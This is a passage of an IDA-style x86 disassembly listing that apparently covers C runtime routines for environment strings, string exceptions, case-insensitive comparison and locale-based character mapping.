ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2A0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 25E0000h nop push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2A0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC6DC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC7E1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2892210h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB334, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 267039Dh pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB334, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB334 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB58C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi call near ptr 2650000h nop test eax, eax jz short loc_4269DC mov dword_4DB58C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE2C push edi push esi call near ptr 2660000h nop test eax, eax jz loc_426B7D mov dword_4DB58C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB58C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2840000h nop mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2840000h nop test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2850000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C2FC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB590 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 2610000h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push edi call near ptr 2620000h nop test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB590, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2610000h jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2840000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2840000h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov 